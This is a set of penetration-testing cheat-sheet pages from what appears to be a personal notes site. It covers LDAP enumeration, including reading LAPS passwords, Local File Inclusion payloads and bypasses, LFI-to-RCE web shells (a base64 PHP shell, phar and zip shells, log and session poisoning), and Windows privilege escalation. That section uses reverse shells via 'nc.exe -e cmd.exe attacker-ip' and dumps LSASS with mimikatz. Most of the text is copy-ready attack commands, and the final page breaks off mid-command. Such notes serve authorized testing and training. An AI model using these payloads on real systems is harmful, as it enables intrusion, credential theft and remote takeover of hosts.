----------------------------------------------------------------------------------------------------------------------------------------- * `-H`: LDAP server URI * `-D`: Bind DN (Distinguished Name) * `-w`: Password for simple authentication * `-Y GSSAPI`: Use Kerberos authentication * `-b`: Base DN for search * `-x`: Use simple authentication instead of SASL * `-s base`: Search scope (base, one, sub) [PreviousKerbrutechevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/kerbrute) [NextPowerView.pychevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/powerview) Last updated 9 months ago * [Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#authentication) * [Enumerating LDAP with ldapsearch](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#enumerating-ldap-with-ldapsearch) * [Domain Name Identification](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#domain-name-identification) * [Search for Password-Related Content](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#search-for-password-related-content) * [Query Objects with Info Field Data](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#query-objects-with-info-field-data) * [Read LAPS Password](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#read-laps-password) * [User Enumeration with Pattern Matching](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#user-enumeration-with-pattern-matching) * [General User Enumeration](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#general-user-enumeration) * [Computer Enumeration](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#computer-enumeration) * [Group Enumeration](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#group-enumeration) * [Detailed User Information](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#detailed-user-information) * [Key Parameters](https://x3m1sec.gitbook.io/notes/pentest-notes/active-directory-pentesting/tools/ldapsearch#key-parameters) Copy ldapsearch -x -H ldap://10.10.10.10 -D user@domain.htb -w 'password' -b 'dc=domain,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwd Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)" # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)" Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)" # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)" Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*god)" # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=god*)" Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=computer)" # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=computer)" Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member Copy # Simple authentication ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info # Kerberos authentication ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info --- # Utilities, Scripts and Payloads | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads#introduction) **Introduction** --------------------------------------------------------------------------------------------------------------------------- > This section contains different utilities to help you during the penetration testing process * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads#useful-external-resources) **Useful External Resources** ----------------------------------------------------------------------------------------------------------------------------------------------------- 1. CyberChef: [https://gchq.github.io/CyberChef/arrow-up-right](https://gchq.github.io/CyberChef/) 2. Python exploit development library: [https://github.com/Gallopsled/pwntoolsarrow-up-right](https://github.com/Gallopsled/pwntools) [PreviousBug Bounty Toolschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/bug-bounty-hunting/bug-bounty-tools) [NextShells and Payloadschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/shells-and-payloads) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads#introduction) * [Useful External Resources](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads#useful-external-resources) --- # Local File Inclusion (LFI) | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#introduction) **Introduction** -------------------------------------------------------------------------------------------------------------------------------------------------- > Local file inclusion (LFI) is the process of including files that are already locally stored on the server through the exploitation of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives as input the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as `../`) to be injected LFI (Local File Inclusion) vulnerabilities allow an attacker to include a local file (on the server) due to the use of user-supplied input without proper validation. This can lead to: > > * Showing the contents of the file > > * Code execution on the web server > > * Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) > > * Denial of Service (DoS) > > * Sensitive Information Disclosure > * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-interesting-files) **LFI Interesting Files** -------------------------------------------------------------------------------------------------------------------------------------------------------------------- #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#linux-files) **Linux Files** Copy Interesting: /etc/passwd /etc/shadow /etc/hosts /etc/issue /etc/group /etc/hostname /home/user/ /home/user/.ssh /home/user/bash_history Log Files: /var/log/apache/access.log /var/log/apache2/access.log /var/log/httpd/access_log /var/log/apache/error.log /var/log/apache2/error.log /var/log/httpd/error_log * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#web-server-files) **Web Server Files** > The htpasswd file contains credentials for HTTP basic authentication The password inside this file can be encrypted with md5crypt To crack them: hashcat with mode (-m) 500 * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#nginx-files) **NGINX Files** * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#cms-configuration-files) **CMS Configuration Files** * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#windows-files) **Windows Files** * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-interesting-files-lists) **LFI Interesting Files Lists** 1. [https://github.com/hussein98d/LFI-files/blob/master/list.txtarrow-up-right](https://github.com/hussein98d/LFI-files/blob/master/list.txt) 2. [https://github.com/ricew4ng/Blasting-Dictionary/blob/master/LFI-Interesting-Files%EF%BC%88249%EF%BC%89.txtarrow-up-right](https://github.com/ricew4ng/Blasting-Dictionary/blob/master/LFI-Interesting-Files%EF%BC%88249%EF%BC%89.txt) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#basic-lfi-examples) **Basic LFI Examples** -------------------------------------------------------------------------------------------------------------------------------------------------------------- Command Description /index.php?language=/etc/passwd Basic LFI /index.php?language=../../../../etc/passwd LFI with path traversal /index.php?language=/../../../etc/passwd LFI with name prefix /index.php?language=./languages/../../../../etc/passwd LFI with approved path * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-fuzzing) **LFI Fuzzing** ------------------------------------------------------------------------------------------------------------------------------------------------ Command Description ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://:/index.php?FUZZ=value' -fs 2287 Fuzz page parameters ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://:/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://:/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://:/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-automated-tools) **LFI Automated Tools** ---------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. [https://github.com/D35m0nd142/LFISuitearrow-up-right](https://github.com/D35m0nd142/LFISuite) 2. [https://github.com/OsandaMalith/LFiFreakarrow-up-right](https://github.com/OsandaMalith/LFiFreak) 3. [https://github.com/mzfr/liffyarrow-up-right](https://github.com/mzfr/liffy) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-filter-bypasses) **LFI Filter Bypasses** ---------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. Bypass basic path traversal filter: `/index.php?language=....//....//....//....//etc/passwd` 2. Bypass using URL encoding of ../../../etc/passwd: `/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64` 3. Read PHP with base64 filter: `/index.php?language=php://filter/convert.base64-encode/resource=config` 4. Bypass appended extension with path truncation (obsolete): `/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]` 5. Bypass appended extension with null byte (obsolete): `/index.php?language=../../../../etc/passwd%00` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-to-rce-abusing-php-data-wrapper) **LFI to RCE abusing PHP Data Wrapper** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > * The PHP Data Wrapper can be used to **include external data, including PHP code** > > * The Data Wrapper is **only available to use if the (**`**allow_url_include**`**) setting is enabled** in the PHP configurations. > > * This option is **not enabled by default** > > * This option is required for any RFI attack and several LFI attacks > **The steps to abuse the PHP Data Wrapper to gain RCE are the following:** 1. Check if `allow_url_include` is enabled: * To do so, you need to read the PHP configuration file found at * (`/etc/php/X.Y/apache2/php.ini`) for Apache * (`/etc/php/X.Y/fpm/php.ini`) for Nginx, * where `X.Y` is your install PHP version 2. Read the PHP Configuration File using the base64 filter (to ensure everything is read properly) * `curl "http://:/index.php?language=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"` 3. Once we have the base64 encoded string, we can decode it and `grep` for `allow_url_include` to see its value * `echo | base64 -d | grep allow_url_include` 4. If `allow_url_include` is `ON`, then it is possible to `gain RCE` using the following: * Generate the base64 version of the PHP RCE Payload `echo '' | base64` * URL encode the base64 string * Pass it to the data wrapper with `data://text/plain;base64,` * Append `&cmd=` * For example: `http://:/index.php?language=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=id` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-to-rce-abusing-php-input-wrapper) **LFI to RCE abusing PHP Input Wrapper** -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * The PHP Data Wrapper can be used to **include external data, including PHP code** > > * The Data Wrapper is **only available to use if the (**`**allow_url_include**`**) setting is enabled** in the PHP configurations. > > * This option is **not enabled by default** > > * This option is required for any RFI attack and several LFI attacks > > * It's basically **the same as the PHP Data Wrapper**, but this requires a **POST request** > **The steps required to gain RCE are the same as the PHP Data Wrapper, you only need to change the GET request to POST using the following** * `curl -s -X POST --data '' "http://:/index.php?language=php://input&cmd=id"` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-to-rce-abusing-php-expect-wrapper) **LFI to RCE abusing PHP Expect Wrapper** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * The expect wrapper allows us to directly run commands through URL streams. > > * It basically acts similarly to a web shell > **To exploit the Expect Wrapper:** 1. Read the PHP Configuration file using base64 encoding: * `curl "http://:/index.php?language=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"` 2. Check if `expect` is used (e.g. `extension=expect`) * `echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect` 3. Run commands using expect: * `curl -s "http://:/index.php?language=expect://id"` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-file-image-upload-to-rce) **LFI - File (Image) Upload to RCE** -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * For this kind of attack, it's not necessary to have a file upload vulnerability > > * The only requirement is to have a IMAGE file upload functionality on the target > > * If such functionality runs code, it's possible to inject an image containing a payload to gain RCE > > * Then, after injecting the payload, we can run it through the LFI vulnerability > **The steps are the following:** 1. Create an image (using the GIF8 magic bytes or any alternative) containing the following RCE payload: `echo 'GIF8' > shell.gif` 2. Identify the upload path, for example: `/index.php?language=./profile_images/` 3. Leverage the RCE through file inclusion: `http://:/index.php?language=./profile_images/shell.gif&cmd=id` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-zip-upload-to-rce) **LFI - ZIP Upload to RCE** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * There are a couple of PHP-only techniques that utilize PHP wrappers to achieve the same goal as the previous Image upload to RCE. > > * These techniques are the ZIP Upload and Phar Upload to gain RCE > > * These techniques may become handy in some specific cases where the simple Image Upload technique does not work. > > * We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. > **The steps are the following:** 1. Create a PHP web shell script and zip it * `echo '' > shell.php && zip shell.jpg shell.php` 2. After uploading the shell.jpg archive, include it with the zip wrapper as (zip://shell.jpg), and then refer to any files within it with #shell.php (URL encoded). 3. Finally, we can execute commands as we always do with &cmd=id, as follows: * `http://:/index.php?language=zip://./profile_images/shell.jpg%23shell.php&cmd=id` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#phar-upload) **Phar Upload** ------------------------------------------------------------------------------------------------------------------------------------------------ > * There are a couple of PHP-only techniques that utilize PHP wrappers to achieve the same goal as the previous Image upload to RCE. > > * These techniques are the ZIP Upload and Phar Upload to gain RCE > > * These techniques may become handy in some specific cases where the simple Image Upload technique does not work. > **The steps are the following:** 1. Write the following `shell.php` file 2. Compile the `phar` file and rename it as `shell.jpg`: * `php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg` 3. Use the `phar wrapper` to run commands (note: you may need to use the URL encoding of `/shell.txt`): * `http://:/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#php-session-log-poisoning-lfi-to-rce) **PHP Session - Log Poisoning LFI to RCE** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * This attack requires writing PHP code in a field we control that gets logged into a log file > > * The same file is then included in order to execute the PHP code. > > * For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another. > > * PHP Session Poisoning works by poisoning a parameter stored inside the PHPSESSID cookie (which can hold specific user-related data on the back-end) > > * The details of PHPSESSID cookies are stored in session files on the back-end, saved in /var/lib/php/sessions/ on Linux and in C:\\Windows\\Temp\\ on Windows. > > * The name of the file that contains our user's data matches the name of our PHPSESSID cookie with the sess\_ prefix. > > * For example, if the PHPSESSID cookie is set to el4ukv0kqbvoirg7nkp4dncpk3, then its location on disk would be /var/lib/php/sessions/sess\_el4ukv0kqbvoirg7nkp4dncpk3. > **The steps are the following:** 1. Get our PHPSESSID cookie value 2. Use LFI to examine our PHPSESSID session file (`/var/lib/php/sessions/` Linux or `C:\Windows\Temp\` Windows) 3. Check if any data inside the session file is under our control in order to poison it 4. For example, the session file may contain a `language` value which is controlled through the get parameter `?language=` 5. Set the value of such parameter (by simply visiting the page with ?language=session\_poisoning) and check if it changes in the session file 6. Poison the parameter by writing PHP code to the session file. We can write a basic PHP web shell by changing the ?language= parameter to a URL encoded web shell, as follows: 7. `http://:/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E` 8. Finally, we can include the session file and use the &cmd=id to execute a commands: `http://:/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#server-logs-poisoning-log-poisoning-lfi-to-rce) **Server Logs Poisoning - Log Poisoning LFI to RCE** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > * This attack requires writing PHP code in a field we control that gets logged into a log file > > * The same file is then included in order to execute the PHP code. > > * For this attack to work, the PHP web application should have read privileges over the logged files, which vary from one server to another. > > * Both **Apache** and **Nginx** make use of **logfiles containing information about the requests against the server** > > * Inside those logs, it's possible to read the different `User-Agent` values for each request > > * **By modifying the value of the user agent, it's possible to inject PHP code to gain RCE** > > * By default, both nginx and apache logfiles are not readable by low-privileged users > > * The default path of the logfiles are as follows: > > 1. Apache logs: `/var/log/apache2` in Linux, `C:\xampp\apache\logs\`in Windows > > 2. Nginx logs: `/var/log/nginx/` in Linux, `C:\nginx\log\` in Windows > > **The steps are the following:** 1. Use any LFI payload to check if the webserver logfiles are readable 2. Use BurpSuite, intercept the same request via LFI to the logfile and change the user agent value 3. Check if that same value is correctly stored inside the logfile 4. If that is the case, inject one of the following payloads as the User-Agent value: * `''` * `` 5. Get RCE by using the same LFI path followed by `&cmd=id`, for example: `http://server:port/index.php?language=/var/log/apache2/access.log&cmd=id` [PreviousOS Command Injectionchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/os-command-injection) [NextRemote File Inclusion (RFI)chevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/remote-file-inclusion-rfi) Last updated 11 months ago * [Introduction](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#introduction) * [LFI Interesting Files](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-interesting-files) * [Basic LFI Examples](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#basic-lfi-examples) * [LFI Fuzzing](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-fuzzing) * [LFI Automated Tools](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-automated-tools) * [LFI Filter Bypasses](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-filter-bypasses) * [LFI to RCE abusing PHP Data Wrapper](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-to-rce-abusing-php-data-wrapper) * [LFI to RCE abusing PHP Input Wrapper](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-to-rce-abusing-php-input-wrapper) * [LFI to RCE abusing PHP Expect Wrapper](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-to-rce-abusing-php-expect-wrapper) * [LFI - File (Image) Upload to RCE](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-file-image-upload-to-rce) * [LFI - ZIP Upload to RCE](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#lfi-zip-upload-to-rce) * [Phar Upload](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#phar-upload) * [PHP Session - Log Poisoning LFI to RCE](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#php-session-log-poisoning-lfi-to-rce) * [Server Logs Poisoning - Log Poisoning LFI to RCE](https://x3m1sec.gitbook.io/notes/pentest-notes/web-applications/web-attacks/local-file-inclusion-lfi#server-logs-poisoning-log-poisoning-lfi-to-rce) Copy /path/to/webroot/.htpasswd /path/to/webroot/.htaccess Copy /etc/nginx/sites-enabled/default (Note: this is useful to find the current web application's web root) /var/log/nginx/access_log /var/log/nginx/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/nginx.access_log /var/log/nginx.error_log /etc/nginx/nginx.conf /usr/local/etc/nginx/nginx.conf /usr/local/nginx/conf/nginx.conf Copy WordPress: /var/www/html/wp-config.php Joomla: /var/www/configuration.php Dolphin CMS: /var/www/html/inc/header.inc.php Drupal: /var/www/html/sites/default/settings.php Mambo: /var/www/configuration.php PHPNuke: /var/www/config.php PHPbb: /var/www/config.php Copy c:\WINDOWS\system32\eula.txt c:\boot.ini c:\WINDOWS\win.ini c:\WINNT\win.ini c:\WINDOWS\Repair\SAM c:\WINDOWS\php.ini c:\WINNT\php.ini c:\Program Files\Apache Group\Apache\conf\httpd.conf c:\Program Files\Apache Group\Apache2\conf\httpd.conf c:\Program Files\xampp\apache\conf\httpd.conf c:\php\php.ini c:\php5\php.ini c:\php4\php.ini c:\apache\php\php.ini c:\xampp\apache\bin\php.ini c:\home2\bin\stable\apache\php.ini c:\home\bin\stable\apache\php.ini Copy startBuffering(); $phar->addFromString('shell.txt', ''); $phar->setStub(''); $phar->stopBuffering(); --- # Excessive User Rights Abuse | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#disclaimer-disabled-rights) Disclaimer - Disabled Rights ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * User privileges can be `assigned but disabled`. > > * Some of them can be `re-enabled` using scripts or commands depending on the privilege. > [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#seimpersonate-and-seassignprimarytoken-juicypotato-and-printspoofer) **SeImpersonate & SeAssignPrimaryToken - JuicyPotato & Printspoofer** ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > * These privileges can be used to trick a process running as `SYSTEM` to connect to the exploit process, handing over the token to be used. > > * In other words, whenever a user has one of these privileges, it's possible to get privilege escalation by impersonating `NT AUTHORITY\SYSTEM` > ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#escalating-privileges-with-juicypotato) **Escalating Privileges with JuicyPotato** 1. Download juicypotato and nc.exe on the target machine 2. Check CLSIDs: 1. Use `systeminfo` to get the OS version 2. Select the right list according to the OS Version from [Juicy Potato CLSIDsarrow-up-right](https://github.com/ohpe/juicy-potato/tree/master/CLSID) 3. Download the `test_clsid.bat` file from the [JuicyPotato GitHubarrow-up-right](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat) 4. Run `test_clsid.bat` and wait, then check the `result.log` file 5. Inside that log file you will find different CLSIDs. 6. Look for a CLSID with SYSTEM privileges 3. Start a netcat listener on the attacker machine: `nc -lvnp 4444` 4. Run JuicyPotato: `.\juicypotato.exe -l SAMEPORT -c CLSID_SYSTEM_FROM_RESULTS -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe attacker-ip SAME-LISTENING-PORT" -t *` 5. Disclaimer/Troubleshooting: the listening netcat port and the port specified after the `-l` flag need to be the same in order to get the reverse shell * * * ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#escalating-privileges-with-printspoofer) **Escalating Privileges with PrintSpoofer** > * JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards. > > * PrintSpoofer and RoguePotato can be used on them to leverage the same privileges and gain NT AUTHORITY\\SYSTEM level access. > * We can use the tool to spawn a SYSTEM process in the current console, spawn a SYSTEM process on a desktop (if logged on locally or via RDP), or catch a reverse shell * PoC to get a Reverse Shell: 1. Download `printspoofer.exe` and `nc.exe` on the target machine 2. Start a netcat listener on the attacker machine: `nc -lvnp 4444` 3. Run PrintSpoofer: `PrintSpoofer.exe -c "c:\tools\nc.exe attacker-ip netcat-port -e cmd"` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sedebugprivilege) **SeDebugPrivilege** ------------------------------------------------------------------------------------------------------------------------------------------------------------- > * SeDebugPrivilege determines which users can attach to or open any process, even a process they do not own. > > * Developers who are debugging their applications **DO NOT need** this user right. > > * Developers who are debugging new system components **need** this user right. > > * This user right provides access to sensitive and critical operating system components. > > * This user right can be used to capture sensitive information from system memory, or access/modify kernel and application structures > > * Sometimes, developer users are assigned the debugprivilege rather than being added to the administrators group, who have this privilege by default > #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sedebugprivilege-to-dump-lsass) **SeDebugPrivilege to Dump LSASS** 1. Use ProcDump to extract a dump of the LSASS process: `procdump.exe -accepteula -ma lsass.exe lsass.dmp` 2. Using `mimikatz.exe`: * `sekurlsa::minidump` * `sekurlsa::logonPasswords` * Gain the `NTLM Hashes` to use for a `Pass the Hash` attack or to `crack` them * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sedebugprivilege-to-gain-remote-code-execution-as-system) **SeDebugPrivilege to gain Remote Code Execution as SYSTEM** 1. Get this [PoC Scriptarrow-up-right](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) on the target system 2. Open an elevated powershell console (e.g. right click on PS and run as admin) 3. Run `tasklist` and look for a privileged process (e.g. `winlogon.exe`) and get its `PID` 4. Run the script: `.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(,,"")` 5. Alternatively: 1. `Import-Module .\psgetsys.ps1` 2. `ImpersonateFromParentPid -ppid (Get-Process "lsass").Id -command "C:\tools\revshell.exe"` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#setakeownershipprivilege) **SeTakeOwnershipPrivilege** ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- > SeTakeOwnershipPrivilege is a `policy setting` that determines which users can take ownership of any securable object * Check target file current ownership * **PowerShell:** `Get-ChildItem -Path 'C:\Path\to\file.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }` * **CMD:** `cmd /c dir /q 'C:\Path\to\file.txt'` * **Disclaimer:** Sometimes the owner won't show due to lack of permissions * To **take ownership** of a file: `takeown /f 'C:\Path\to\file.txt'` * To enable **full permissions** on a file: `icacls 'C:\Path\to\file.txt' /grant htb-student:F` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sebackupprivilege) **SeBackupPrivilege** --------------------------------------------------------------------------------------------------------------------------------------------------------------- > * A user with SeBackupPrivilege enabled can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system. > > * This will let us copy a file from a folder, bypassing any access control list (ACL). > > * However, we can't do this using the standard copy command. > > * Instead, we need to programmatically copy the data, making sure to specify the `FILE_FLAG_BACKUP_SEMANTICS` flag. > > * We can use the built-in `robocopy` tool or the following `PoC` to copy any file: https://github.com/giuliano108/SeBackupPrivilege > * * * #### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/windows-privilege-escalation/excessive-user-rights-abuse#sebackupprivilege-to-copy-any-file) **SeBackupPrivilege to Copy any file** 1. `Import-Module .\SeBackupPrivilegeUtils.dll` 2. `Import-Module 